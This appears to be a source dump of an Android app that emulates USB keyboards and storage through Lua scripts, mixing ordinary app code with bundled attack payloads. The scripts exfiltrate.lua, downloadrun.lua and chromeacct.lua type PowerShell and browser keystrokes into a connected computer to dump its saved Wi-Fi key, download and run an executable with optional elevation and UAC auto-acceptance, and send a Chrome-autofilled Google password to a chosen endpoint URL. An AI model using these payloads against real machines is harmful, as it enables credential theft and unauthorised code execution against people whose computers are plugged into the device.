Android HID Script provides a simple Lua interface for emulating an HID device on top of configfs.
Use at your own risk. For educational purposes only.
This app provides an easy way to script HID interactions intuitively, with feedback. In addition, it contains wrappers around the HID devices allowing developers to easily integrate HID functionality into their own apps.
Use Cases of Scripted HID Emulation
Automation of deployment solutions (eg. configuring computer BIOS settings in an automated fashion, changing the wallpaper, etc)
Mobile password managers that type in your credentials for you, on computers you do not trust
Root is required to use this app.
--------------------------------------------------------------------------------
/app/src/main/java/org/netdex/androidusbscript/NotificationBroadcastReceiver.java:
--------------------------------------------------------------------------------
1 | package org.netdex.androidusbscript;
2 |
3 | import android.content.BroadcastReceiver;
4 | import android.content.Context;
5 | import android.content.Intent;
6 |
7 | import org.netdex.androidusbscript.service.LuaUsbService;
8 |
9 | public class NotificationBroadcastReceiver extends BroadcastReceiver {
10 | public static final String ACTION_STOP = "org.netdex.androidusbscript.ACTION_STOP";
11 |
12 | @Override
13 | public void onReceive(Context context, Intent intent) {
14 | MainActivity mainActivity = (MainActivity) context;
15 | if (intent.getAction().equals(ACTION_STOP)) {
16 | LuaUsbService luaUsbService = mainActivity.getLuaUsbService();
17 | luaUsbService.stopActiveTask();
18 | }
19 | }
20 | }
21 |
--------------------------------------------------------------------------------
/app/src/main/java/org/netdex/androidusbscript/service/RootServiceConnection.kt:
--------------------------------------------------------------------------------
1 | package org.netdex.androidusbscript.service
2 |
3 | import android.content.ComponentName
4 | import android.content.ServiceConnection
5 | import android.os.IBinder
6 | import android.os.RemoteException
7 | import com.topjohnwu.superuser.nio.FileSystemManager
8 | import timber.log.Timber
9 |
10 | open class RootServiceConnection : ServiceConnection {
11 | var remoteFs: FileSystemManager? = null
12 | private set
13 |
14 | override fun onServiceConnected(name: ComponentName, service: IBinder) {
15 | try {
16 | remoteFs = FileSystemManager.getRemote(service)
17 | } catch (e: RemoteException) {
18 | Timber.e(e)
19 | }
20 | }
21 |
22 | override fun onServiceDisconnected(name: ComponentName) {
23 | remoteFs = null
24 | }
25 | }
26 |
--------------------------------------------------------------------------------
/gradle.properties:
--------------------------------------------------------------------------------
1 | ## For more details on how to configure your build environment visit
2 | # http://www.gradle.org/docs/current/userguide/build_environment.html
3 | #
4 | # Specifies the JVM arguments used for the daemon process.
5 | # The setting is particularly useful for tweaking memory settings.
6 | # Default value: -Xmx1024m -XX:MaxPermSize=256m
7 | # org.gradle.jvmargs=-Xmx2048m -XX:MaxPermSize=512m -XX:+HeapDumpOnOutOfMemoryError -Dfile.encoding=UTF-8
8 | #
9 | # When configured, Gradle will run in incubating parallel mode.
10 | # This option should only be used with decoupled projects. More details, visit
11 | # http://www.gradle.org/docs/current/userguide/multi_project_builds.html#sec:decoupled_projects
12 | # org.gradle.parallel=true
13 | #Fri Nov 13 11:15:42 EST 2020
14 | android.enableJetifier=false
15 | android.nonFinalResIds=false
16 | android.nonTransitiveRClass=true
17 | android.useAndroidX=true
18 | org.gradle.jvmargs=-Xmx1536m
19 |
--------------------------------------------------------------------------------
/app/src/main/res/values/strings.xml:
--------------------------------------------------------------------------------
1 |
2 | Android USB Script
3 | Disabled
4 | Enabled
5 | Task
6 | Log Content
7 | Android USB script interpreter
8 | Lua script \"%1$s\" is active
9 | No scripts are currently active
10 | Service
11 | android-usb-script service channel
12 | ScrollingActivity
13 | Settings
14 | Cancel
15 | Select Asset
16 | Load Script
17 |
18 |
--------------------------------------------------------------------------------
/app/proguard-rules.pro:
--------------------------------------------------------------------------------
1 | # Add project specific ProGuard rules here.
2 | # By default, the flags in this file are appended to flags specified
3 | # in D:\Programming\Android\sdk/tools/proguard/proguard-android.txt
4 | # You can edit the include path and order by changing the proguardFiles
5 | # directive in build.gradle.
6 | #
7 | # For more details, see
8 | # http://developer.android.com/guide/developing/tools/proguard.html
9 |
10 | # Add any project specific keep options here:
11 |
12 | # If your project uses WebView with JS, uncomment the following
13 | # and specify the fully qualified class name to the JavaScript interface
14 | # class:
15 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview {
16 | # public *;
17 | #}
18 |
19 | # This is generated automatically by the Android Gradle plugin.
20 |
21 | -dontwarn javax.script.**
22 | -dontwarn org.apache.bcel.**
23 |
24 | -dontobfuscate
25 |
26 | # Do NOT optimize LuaJ or classes which serve as Lua API boundary
27 | -keep class org.luaj.vm2.** {*; }
28 | -keep class org.netdex.androidusbscript.lua.** {*; }
--------------------------------------------------------------------------------
/app/src/main/assets/scripts/exfiltrate.lua:
--------------------------------------------------------------------------------
1 | ---
2 | --- Copy a file from the system to a mass storage gadget
3 | --- https://docs.hak5.org/hak5-usb-rubber-ducky/advanced-features/exfiltration
4 | ---
5 |
6 | require('common')
7 |
8 | local LABEL = "COMPOSITE"
9 |
10 | kb = luausb.create({ type = "keyboard"}, { type = "storage", label = LABEL })
11 |
12 | while true do
13 | print("idle")
14 |
15 | -- poll until usb plugged in
16 | wait_for_state('configured')
17 | wait_for_detect(kb)
18 |
19 | print("running")
20 | wait(2000) -- wait in case explorer pops up
21 |
22 | kb:chord(MOD_LSUPER, KEY_R)
23 | wait(1000)
24 | kb:string("powershell \"$m=(Get-Volume -FileSystemLabel '" .. LABEL .. "').DriveLetter;"
25 | .. "netsh wlan show profile name=(Get-NetConnectionProfile).Name key="
26 | .. "clear|?{$_-match'SSID n|Key C'}|%{($_ -split':')[1]}>>$m':\\'$env:"
27 | .. "computername'.txt'\"\n")
28 |
29 | print("done")
30 | wait_for_state("not attached")
31 |
32 | print("disconnected")
33 | end
34 |
35 |
--------------------------------------------------------------------------------
/.github/workflows/android.yml:
--------------------------------------------------------------------------------
1 | name: Android CI
2 |
3 | on:
4 | push:
5 | branches: [ "master" ]
6 | pull_request:
7 | branches: [ "master" ]
8 |
9 | jobs:
10 | build:
11 | runs-on: ubuntu-latest
12 |
13 | steps:
14 | - uses: actions/checkout@v3
15 |
16 | - name: Set up JDK 17
17 | uses: actions/setup-java@v3
18 | with:
19 | java-version: '17'
20 | distribution: 'temurin'
21 | cache: gradle
22 |
23 | - name: Grant execute permission for gradlew
24 | run: chmod +x gradlew
25 |
26 | - name: Build with Gradle
27 | run: ./gradlew assembleDebug
28 |
29 | - name: Generate build information
30 | id: build
31 | shell: bash
32 | run: |
33 | echo "::set-output name=artifact_name::${{ github.event.repository.name }}-r$(git rev-parse --short HEAD)-${{ github.run_id }}"
34 |
35 | - name: Upload artifact
36 | uses: actions/upload-artifact@v2
37 | with:
38 | name: ${{ steps.build.outputs.artifact_name }}
39 | path: ${{ github.workspace }}/app/build/outputs/apk/debug/app-debug.apk
40 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2019 netdex
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/app/src/main/assets/lib/common.lua:
--------------------------------------------------------------------------------
1 | ---
2 | --- Common library functions
3 | ---
4 |
5 | -- Wait for the system to detect us by polling for the first output report
6 | function wait_for_detect(kb)
7 | while true do
8 | local lock = kb:read_lock()
9 | if lock ~= nil then
10 | return lock
11 | end
12 | wait(100)
13 | end
14 | end
15 |
16 | function wait_for_state(state)
17 | while luausb.state() ~= state do
18 | wait(100)
19 | end
20 | end
21 |
22 | -- make it really obvious when a script is done running
23 | function flash(kb)
24 | kb:press(KEY_NUMLOCK)
25 |
26 | wait(100)
27 | local lock
28 | while true do
29 | local val = kb:read_lock()
30 | if val == nil then break end
31 | lock = val
32 | end
33 | if lock == nil then return end
34 |
35 | if lock.num_lock then kb:press(KEY_NUMLOCK) end
36 | if lock.caps_lock then kb:press(KEY_CAPSLOCK) end
37 | if lock.scroll_lock then kb:press(KEY_SCROLLLOCK) end
38 |
39 | local state = luausb.state()
40 | while luausb.state() == state do
41 | kb:press(KEY_NUMLOCK, KEY_CAPSLOCK, KEY_SCROLLLOCK)
42 | wait(50)
43 | kb:press(KEY_NUMLOCK, KEY_CAPSLOCK, KEY_SCROLLLOCK)
44 | wait(950)
45 | end
46 | end
--------------------------------------------------------------------------------
/app/src/main/java/org/netdex/androidusbscript/configfs/function/UsbGadgetFunctionHid.kt:
--------------------------------------------------------------------------------
1 | package org.netdex.androidusbscript.configfs.function
2 |
3 | import org.netdex.androidusbscript.configfs.UsbGadget
4 | import org.netdex.androidusbscript.util.FileSystem
5 | import java.io.IOException
6 | import java.nio.file.Paths
7 |
8 | class HidParameters(
9 | val protocol: Int,
10 | val subclass: Int,
11 | val reportLength: Int,
12 | val descriptor: ByteArray
13 | ) : FunctionParameters()
14 |
15 | /**
16 | * https://www.kernel.org/doc/Documentation/usb/gadget_hid.txt
17 | * https://www.kernel.org/doc/Documentation/ABI/testing/configfs-usb-gadget-hid
18 | */
19 | class UsbGadgetFunctionHid(usbGadget: UsbGadget, id: Int, params: HidParameters) :
20 | UsbGadgetFunction(usbGadget, id, params) {
21 |
22 | override val name: String get() = "hid.usb$id"
23 |
24 | @Throws(IOException::class)
25 | public override fun create() {
26 | super.create()
27 | val params = params as HidParameters
28 | fs.write(params.protocol, functionPath.resolve("protocol"))
29 | fs.write(params.subclass, functionPath.resolve("subclass"))
30 | fs.write(params.reportLength, functionPath.resolve("report_length"))
31 | fs.write(params.descriptor, functionPath.resolve("report_desc"))
32 | }
33 |
34 | fun getMinor(): Int {
35 | return Integer.parseInt(getAttribute("dev").split(":")[1])
36 | }
37 | }
38 |
--------------------------------------------------------------------------------
/app/src/main/AndroidManifest.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
12 |
13 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
28 |
29 |
33 |
34 |
35 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Built application files
2 | *.apk
3 | *.aar
4 | *.ap_
5 | *.aab
6 |
7 | # Files for the ART/Dalvik VM
8 | *.dex
9 |
10 | # Java class files
11 | *.class
12 |
13 | # Generated files
14 | bin/
15 | gen/
16 | out/
17 | # Uncomment the following line in case you need and you don't have the release build type files in your app
18 | # release/
19 |
20 | # Gradle files
21 | .gradle/
22 | build/
23 |
24 | # Local configuration file (sdk path, etc)
25 | local.properties
26 |
27 | # Proguard folder generated by Eclipse
28 | proguard/
29 |
30 | # Log Files
31 | *.log
32 |
33 | # Android Studio Navigation editor temp files
34 | .navigation/
35 |
36 | # Android Studio captures folder
37 | captures/
38 |
39 | # IntelliJ
40 | *.iml
41 | /.idea/
42 |
43 | # Keystore files
44 | # Uncomment the following lines if you do not want to check your keystore files in.
45 | #*.jks
46 | #*.keystore
47 |
48 | # External native build folder generated in Android Studio 2.2 and later
49 | .externalNativeBuild
50 | .cxx/
51 |
52 | # Google Services (e.g. APIs or Firebase)
53 | # google-services.json
54 |
55 | # Freeline
56 | freeline.py
57 | freeline/
58 | freeline_project_description.json
59 |
60 | # fastlane
61 | fastlane/report.xml
62 | fastlane/Preview.html
63 | fastlane/screenshots
64 | fastlane/test_output
65 | fastlane/readme.md
66 |
67 | # Version control
68 | vcs.xml
69 |
70 | # lint
71 | lint/intermediates/
72 | lint/generated/
73 | lint/outputs/
74 | lint/tmp/
75 | # lint/reports/
76 |
77 | # Android Profiling
78 | *.hprof
79 |
--------------------------------------------------------------------------------
/app/build.gradle:
--------------------------------------------------------------------------------
1 | apply plugin: 'com.android.application'
2 | apply plugin: 'org.jetbrains.kotlin.android'
3 |
4 | android {
5 | compileSdk 35
6 | defaultConfig {
7 | applicationId "org.netdex.androidusbscript"
8 | minSdkVersion 26
9 | targetSdkVersion 35
10 | versionCode 122
11 | versionName '1.2.2'
12 | }
13 | buildTypes {
14 | release {
15 | minifyEnabled true
16 | proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
17 | }
18 | }
19 | productFlavors {
20 | }
21 | compileOptions {
22 | targetCompatibility JavaVersion.VERSION_17
23 | sourceCompatibility JavaVersion.VERSION_17
24 | }
25 | namespace 'org.netdex.androidusbscript'
26 | dependenciesInfo {
27 | includeInApk = false
28 | includeInBundle = false
29 | }
30 | }
31 |
32 | dependencies {
33 | implementation 'androidx.core:core:1.13.1'
34 | implementation 'androidx.core:core-ktx:1.13.1'
35 | implementation 'androidx.appcompat:appcompat:1.7.0'
36 |
37 | implementation 'com.google.android.material:material:1.12.0'
38 |
39 | implementation 'com.jakewharton.timber:timber:5.0.1'
40 | implementation 'org.luaj:luaj-jse:3.0.1'
41 |
42 | implementation "com.github.topjohnwu.libsu:core:5.2.0"
43 | implementation "com.github.topjohnwu.libsu:service:5.2.0"
44 | implementation "com.github.topjohnwu.libsu:nio:5.2.0"
45 | implementation "com.github.topjohnwu.libsu:io:5.2.0"
46 |
47 | }
48 | repositories {
49 | mavenCentral()
50 | maven { url 'https://jitpack.io' }
51 | }
52 |
--------------------------------------------------------------------------------
/app/src/main/java/org/netdex/androidusbscript/lua/LuaHidMouse.java:
--------------------------------------------------------------------------------
1 | package org.netdex.androidusbscript.lua;
2 |
3 | import org.netdex.androidusbscript.function.DeviceStream;
4 | import org.netdex.androidusbscript.util.FileSystem;
5 |
6 | import java.io.Closeable;
7 | import java.io.IOException;
8 | import java.nio.file.Path;
9 |
10 |
11 | public class LuaHidMouse extends DeviceStream {
12 |
13 | public LuaHidMouse(FileSystem fs, Path devicePath) {
14 | super(fs, devicePath);
15 | }
16 |
17 | /**
18 | * A B C D
19 | * XXXXXXXX XXXXXXXX XXXXXXXX XXXXXXXX
20 | *
21 | * A: Mouse button mask
22 | * B: Mouse X-offset
23 | * C: Mouse Y-offset
24 | * D: Mouse wheel offset
25 | *
26 | * @param offset HID mouse bytes
27 | */
28 | private void raw(byte... offset) throws IOException, InterruptedException {
29 | byte[] buffer = new byte[4];
30 | if (offset.length > 4)
31 | throw new IllegalArgumentException("Too many parameters in HID report");
32 | System.arraycopy(offset, 0, buffer, 0, offset.length);
33 | this.write(buffer);
34 | }
35 |
36 | public void click(byte mask, long duration) throws IOException, InterruptedException {
37 | raw(mask);
38 | if (duration > 0) {
39 | Thread.sleep(duration);
40 | }
41 | raw();
42 | }
43 |
44 | public void move(byte dx, byte dy) throws IOException, InterruptedException {
45 | raw((byte) 0, dx, dy);
46 | }
47 |
48 | public void scroll(byte offset) throws IOException, InterruptedException {
49 | raw((byte) 0, (byte) 0, (byte) 0, offset);
50 | }
51 | }
52 |
--------------------------------------------------------------------------------
/app/src/main/assets/scripts/wallpaper.lua:
--------------------------------------------------------------------------------
1 | ---
2 | --- Change Windows 10 desktop wallpaper
3 | ---
4 |
5 | require('common')
6 |
7 | kb = luausb.create({ type = "keyboard" })
8 |
9 | local file = prompt{
10 | message="Enter the URL of the wallpaper to download.",
11 | hint="Image URL",
12 | default="https://i.imgur.com/46wWHZ3.png"
13 | }
14 |
15 | while true do
16 | print("idle")
17 |
18 | -- wait for USB device to be plugged in
19 | wait_for_state('configured')
20 | -- wait for host to detect this USB device
21 | wait_for_detect(kb)
22 | print("running")
23 |
24 | kb:chord(MOD_LSUPER, KEY_R)
25 | wait(2000)
26 | kb:string("powershell\n")
27 | wait(2000)
28 | kb:string("[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;" ..
29 | "(new-object System.Net.WebClient).DownloadFile('" .. file .. "',\"$Env:Temp\\b.jpg\");\n" ..
30 | "Add-Type @\"\n" ..
31 | "using System;using System.Runtime.InteropServices;using Microsoft.Win32;namespa" ..
32 | "ce W{public class S{ [DllImport(\"user32.dll\")]static extern int SystemParamet" ..
33 | "ersInfo(int a,int b,string c,int d);public static void SW(string a){SystemParam" ..
34 | "etersInfo(20,0,a,3);RegistryKey c=Registry.CurrentUser.OpenSubKey(\"Control Pan" ..
35 | "el\\\\Desktop\",true);c.SetValue(@\"WallpaperStyle\", \"2\");c.SetValue(@\"Tile" ..
36 | "Wallpaper\", \"0\");c.Close();}}}\n" ..
37 | "\"@\n" ..
38 | "[W.S]::SW(\"$Env:Temp\\b.jpg\")\n" ..
39 | "exit\n")
40 |
41 | print("done")
42 | -- wait for USB device to be unplugged
43 | wait_for_state("not attached")
44 | end
--------------------------------------------------------------------------------
/app/src/main/java/org/netdex/androidusbscript/gui/ConfirmDialog.java:
--------------------------------------------------------------------------------
1 | package org.netdex.androidusbscript.gui;
2 |
3 | import android.app.AlertDialog;
4 | import android.content.Context;
5 | import android.os.Handler;
6 | import android.os.Looper;
7 |
8 | import androidx.core.os.HandlerCompat;
9 |
10 | import java.util.concurrent.CountDownLatch;
11 | import java.util.concurrent.atomic.AtomicBoolean;
12 |
13 | public class ConfirmDialog {
14 |
15 | final AlertDialog.Builder builder_;
16 | final CountDownLatch latch_ = new CountDownLatch(1);
17 | final AtomicBoolean result_ = new AtomicBoolean(false);
18 |
19 | public ConfirmDialog(Context context, String title, String message) {
20 | builder_ = new AlertDialog.Builder(context);
21 | builder_.setTitle(title);
22 | if (!message.isEmpty())
23 | builder_.setMessage(message);
24 |
25 | builder_.setPositiveButton("Yes", (dialog, which) -> {
26 | result_.set(true);
27 | latch_.countDown();
28 | });
29 | builder_.setNegativeButton("No", (dialog, which) -> {
30 | result_.set(false);
31 | latch_.countDown();
32 | });
33 | builder_.setOnCancelListener(dialog -> {
34 | result_.set(false);
35 | latch_.countDown();
36 | });
37 | builder_.setCancelable(false);
38 | }
39 |
40 | public boolean show() {
41 | Handler mainThreadHandler = HandlerCompat.createAsync(Looper.getMainLooper());
42 | try {
43 | mainThreadHandler.post(builder_::show);
44 | latch_.await();
45 | } catch (InterruptedException e) {
46 | Thread.currentThread().interrupt();
47 | }
48 | return result_.get();
49 | }
50 | }
51 |
--------------------------------------------------------------------------------
/app/src/main/java/org/netdex/androidusbscript/task/LuaUsbTaskFactory.java:
--------------------------------------------------------------------------------
1 | package org.netdex.androidusbscript.task;
2 |
3 | /*
4 | Created by netdex on 12/28/17.
5 | */
6 |
7 | import android.content.Context;
8 | import android.net.Uri;
9 |
10 | import java.io.BufferedReader;
11 | import java.io.FileNotFoundException;
12 | import java.io.IOException;
13 | import java.io.InputStream;
14 | import java.io.InputStreamReader;
15 |
16 | import timber.log.Timber;
17 |
18 | public class LuaUsbTaskFactory {
19 | private final LuaIOBridge dialogIO_;
20 |
21 | public LuaUsbTaskFactory(LuaIOBridge dialogIO) {
22 | this.dialogIO_ = dialogIO;
23 | }
24 |
25 | public LuaUsbTask createTaskFromLuaAsset(Context context, String name, String pathToAsset) {
26 | try {
27 | return createTaskFromInputStream(name, context.getAssets().open(pathToAsset));
28 | } catch (IOException e) {
29 | Timber.e(e);
30 | return null;
31 | }
32 | }
33 |
34 | public LuaUsbTask createTaskFromLuaScript(Context context, String name, Uri uri) {
35 | try {
36 | return createTaskFromInputStream(name, context.getContentResolver().openInputStream(uri));
37 | } catch (FileNotFoundException e) {
38 | Timber.e(e);
39 | return null;
40 | }
41 | }
42 |
43 | private LuaUsbTask createTaskFromInputStream(String name, InputStream stream) {
44 | try {
45 | BufferedReader br = new BufferedReader(new InputStreamReader(stream));
46 | StringBuilder sb = new StringBuilder();
47 | String line;
48 | while ((line = br.readLine()) != null)
49 | sb.append(line).append('\n');
50 | br.close();
51 | String src = sb.toString();
52 | return new LuaUsbTask(name, src, dialogIO_);
53 | } catch (IOException e) {
54 | Timber.e(e);
55 | return null;
56 | }
57 |
58 | }
59 | }
60 |
--------------------------------------------------------------------------------
/app/src/main/assets/scripts/downloadrun.lua:
--------------------------------------------------------------------------------
1 | ---
2 | --- downloadrun.lua: downloads and executes a file
3 | --- directly translated from the Java version in previous builds
4 | ---
5 |
6 | require('common')
7 |
8 | kb = luausb.create({ type = "keyboard" })
9 |
10 | local file = prompt{
11 | message="Enter the URL for the file to download.",
12 | hint="File URL",
13 | default="https://github.com/Netdex/FlyingCursors/releases/download/1.0.0/FlyingCursors.exe"
14 | }
15 | local runAs = confirm{
16 | message="Launch executable with administrator privileges?"
17 | }
18 |
19 | while true do
20 | print("idle")
21 |
22 | -- poll until usb plugged in
23 | wait_for_state("configured")
24 | wait_for_detect(kb)
25 | print("running")
26 |
27 | print("opening powershell, runAs=" .. tostring(runAs))
28 | if runAs then
29 | -- when running elevated prompt sometimes it pops in background, so we need
30 | -- to go to the desktop
31 | kb:chord(MOD_LSUPER, KEY_D)
32 | wait(500)
33 | kb:chord(MOD_LSUPER, KEY_R)
34 | wait(2000)
35 | kb:string("powershell Start-Process powershell -Verb runAs\n")
36 | wait(3000)
37 | kb:chord(MOD_LALT, KEY_Y)
38 | wait(2000)
39 | else
40 | kb:chord(MOD_LSUPER, KEY_R)
41 | wait(2000)
42 | kb:string("powershell\n")
43 | wait(2000)
44 | end
45 |
46 | print("download + execute code")
47 |
48 | kb:string(
49 | "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$d=New-Object System.Net.WebClient;" ..
50 | "$u='" .. file .. "';" ..
51 | "$f=\"$Env:Temp\\a.exe\";$d.DownloadFile($u,$f);" ..
52 | "$e=New-Object -com shell.application;" ..
53 | "$e.shellexecute($f);" ..
54 | "exit;\n"
55 | )
56 |
57 | print("done")
58 | wait_for_state("not attached")
59 |
60 | print("disconnected")
61 | end
62 |
63 |
--------------------------------------------------------------------------------
/app/src/main/res/layout/activity_main.xml:
--------------------------------------------------------------------------------
1 |
2 |
11 |
12 |
23 |
24 |
32 |
33 |
37 |
38 |
45 |
46 |
47 |
48 |
49 |
--------------------------------------------------------------------------------
/app/src/main/assets/scripts/chromeacct.lua:
--------------------------------------------------------------------------------
1 | ---
2 | --- Expose saved Google account password from Chrome
3 | ---
4 | require("common")
5 |
6 | kb = luausb.create({ type = "keyboard" })
7 |
8 | -- This URL will be visited with the captured password appended to the end
9 | local endpoint = prompt{
10 | message="Enter the URL of the end-point to query.",
11 | hint="End-point URL",
12 | default="https://localhost/index.php?q="
13 | }
14 |
15 | while true do
16 | print("idle")
17 |
18 | -- poll until usb plugged in
19 | wait_for_state("configured")
20 | wait_for_detect(kb)
21 | print("running")
22 |
23 | -- open chrome
24 | kb:chord(MOD_LSUPER, KEY_R)
25 | wait(1000)
26 | kb:string("chrome --incognito\n")
27 | wait(2000)
28 |
29 | -- navigate to login page
30 | kb:string("accounts.google.com")
31 | -- get rid of any autofill that appears in the omnibar
32 | kb:press(KEY_DELETE)
33 | kb:press(KEY_ENTER)
34 | wait(2000)
35 |
36 | -- autofill username and continue
37 | kb:press(KEY_DOWN); wait(100)
38 | kb:press(KEY_DOWN); wait(100)
39 | kb:press(KEY_ENTER); wait(100)
40 | kb:chord(MOD_LCTRL, KEY_A); wait(100)
41 | kb:chord(MOD_LCTRL, KEY_C); wait(100)
42 | kb:press(KEY_ENTER)
43 | wait(4000)
44 |
45 | -- autofill password
46 | kb:press(KEY_TAB); wait(100)
47 | kb:press(KEY_SPACE); wait(100)
48 | kb:chord(MOD_LSHIFT, KEY_TAB); wait(100)
49 | kb:press(KEY_LEFT); wait(100)
50 | kb:chord(MOD_LCTRL, KEY_V); wait(100)
51 | kb:string("|"); wait(100)
52 | kb:chord(MOD_LCTRL, KEY_A); wait(100)
53 | kb:chord(MOD_LCTRL, KEY_C)
54 | wait(100)
55 |
56 | -- open new tab and navigate to query string with captured password
57 | kb:chord(MOD_LCTRL, KEY_T)
58 | wait(1000)
59 | kb:string(endpoint)
60 | kb:chord(MOD_LCTRL, KEY_V)
61 | kb:press(KEY_ENTER)
62 | wait(4000)
63 |
64 | -- close everything we opened
65 | kb:chord(MOD_LALT, KEY_F4)
66 | wait(1000)
67 |
68 | print("done")
69 | wait_for_state("not attached")
70 |
71 | print("disconnected")
72 | end
73 |
74 |
--------------------------------------------------------------------------------
/app/src/main/java/org/netdex/androidusbscript/LuaAssetAdapter.java:
--------------------------------------------------------------------------------
1 | package org.netdex.androidusbscript;
2 |
3 | import android.view.LayoutInflater;
4 | import android.view.View;
5 | import android.view.ViewGroup;
6 | import android.widget.TextView;
7 |
8 | import androidx.annotation.NonNull;
9 | import androidx.recyclerview.widget.RecyclerView;
10 |
11 | import java.util.ArrayList;
12 |
13 | public class LuaAssetAdapter extends RecyclerView.Adapter {
14 | public static class LuaAsset {
15 | private final String name_;
16 | private final String path_;
17 |
18 | public LuaAsset(String name, String path) {
19 | this.name_ = name;
20 | this.path_ = path;
21 | }
22 |
23 | public String getName() {
24 | return name_;
25 | }
26 |
27 | public String getPath() {
28 | return path_;
29 | }
30 | }
31 |
32 | public static class ViewHolder extends RecyclerView.ViewHolder {
33 | public final TextView textView;
34 | public final View layout;
35 |
36 | public ViewHolder(View view) {
37 | super(view);
38 | this.layout = view;
39 | textView = view.findViewById(R.id.textView);
40 | }
41 | }
42 |
43 | private final ArrayList assets_;
44 |
45 | public LuaAssetAdapter(ArrayList assets) {
46 | this.assets_ = assets;
47 | }
48 |
49 | @NonNull
50 | @Override
51 | public ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) {
52 | LayoutInflater inflater = LayoutInflater.from(parent.getContext());
53 | View view = inflater.inflate(R.layout.activity_select_asset_row, parent, false);
54 | return new ViewHolder(view);
55 | }
56 |
57 | @Override
58 | public void onBindViewHolder(@NonNull ViewHolder holder, int position) {
59 | LuaAsset asset = assets_.get(position);
60 | holder.textView.setText(asset.getName());
61 | holder.layout.setOnClickListener(v -> onLuaAssetSelected(asset));
62 | }
63 |
64 | @Override
65 | public int getItemCount() {
66 | return assets_.size();
67 | }
68 |
69 | public void onLuaAssetSelected(LuaAsset asset) {
70 | }
71 | }
72 |
--------------------------------------------------------------------------------
/app/src/main/java/org/netdex/androidusbscript/configfs/function/UsbGadgetFunctionMassStorage.kt:
--------------------------------------------------------------------------------
1 | package org.netdex.androidusbscript.configfs.function
2 |
3 | import com.topjohnwu.superuser.Shell
4 | import org.netdex.androidusbscript.configfs.UsbGadget
5 | import org.netdex.androidusbscript.util.FileSystem
6 | import java.io.IOException
7 | import java.nio.file.Paths
8 |
9 | class MassStorageParameters(
10 | val file: String,
11 | var ro: Boolean,
12 | var removable: Boolean,
13 | var cdrom: Boolean,
14 | var nofua: Boolean,
15 | var stall: Boolean, // in MB
16 | var size: Long,
17 | var label: String?, // the device is formatted as exFAT with this label
18 | var force: Boolean, // recreate device even if it exists
19 | ) : FunctionParameters()
20 |
21 | /**
22 | * https://www.kernel.org/doc/Documentation/usb/mass-storage.txt
23 | * https://www.kernel.org/doc/Documentation/ABI/testing/configfs-usb-gadget-mass-storage
24 | */
25 | class UsbGadgetFunctionMassStorage(usbGadget: UsbGadget, id: Int, params: MassStorageParameters) :
26 | UsbGadgetFunction(usbGadget, id, params) {
27 |
28 | @Throws(IOException::class)
29 | public override fun create() {
30 | super.create()
31 |
32 | val params = params as MassStorageParameters
33 | if (params.force || !fs.exists(Paths.get(params.file))) {
34 | // TODO: This is kind of dangerous, we should probably drop privileges for this
35 | val result = Shell.cmd(
36 | "dd bs=1048576 count=${params.size} if=/dev/zero of='${params.file}'",
37 | "mkfs.exfat -L ${params.size} '${params.file}'",
38 | ).exec()
39 | require(result.isSuccess) { "Failed to create image '${params.file}': errno=${result.code}" }
40 | }
41 | fs.write(if (params.stall) 1 else 0, functionPath.resolve("stall"))
42 |
43 | val lun = "lun.0"
44 | val lunPath = functionPath.resolve(lun)
45 | fs.write(params.file, lunPath.resolve("file"))
46 | fs.write(if (params.ro) 1 else 0, lunPath.resolve("ro"))
47 | fs.write(if (params.removable) 1 else 0, lunPath.resolve("removable"))
48 | fs.write(if (params.cdrom) 1 else 0, lunPath.resolve("cdrom"))
49 | fs.write(if (params.nofua) 1 else 0, lunPath.resolve("nofua"))
50 | }
51 |
52 | override val name: String
53 | get() = "mass_storage.usb" + this.id
54 | }
--------------------------------------------------------------------------------
/app/src/main/java/org/netdex/androidusbscript/gui/PromptDialog.java:
--------------------------------------------------------------------------------
1 | package org.netdex.androidusbscript.gui;
2 |
3 | import android.app.AlertDialog;
4 | import android.content.Context;
5 | import android.os.Handler;
6 | import android.os.Looper;
7 | import android.text.InputType;
8 | import android.widget.EditText;
9 |
10 | import androidx.core.os.HandlerCompat;
11 |
12 | import com.google.android.material.textfield.TextInputLayout;
13 |
14 | import org.netdex.androidusbscript.R;
15 |
16 | import java.util.concurrent.CountDownLatch;
17 | import java.util.concurrent.atomic.AtomicReference;
18 |
19 | public class PromptDialog {
20 |
21 | final AlertDialog.Builder builder_;
22 | final CountDownLatch latch_ = new CountDownLatch(1);
23 | final AtomicReference result_ = new AtomicReference<>();
24 |
25 | public PromptDialog(Context context, String title, String message, String hint, String def) {
26 | result_.set(def);
27 |
28 | builder_ = new AlertDialog.Builder(context);
29 | builder_.setTitle(title);
30 | if (!message.isEmpty())
31 | builder_.setMessage(message);
32 |
33 | final EditText editText = new EditText(context);
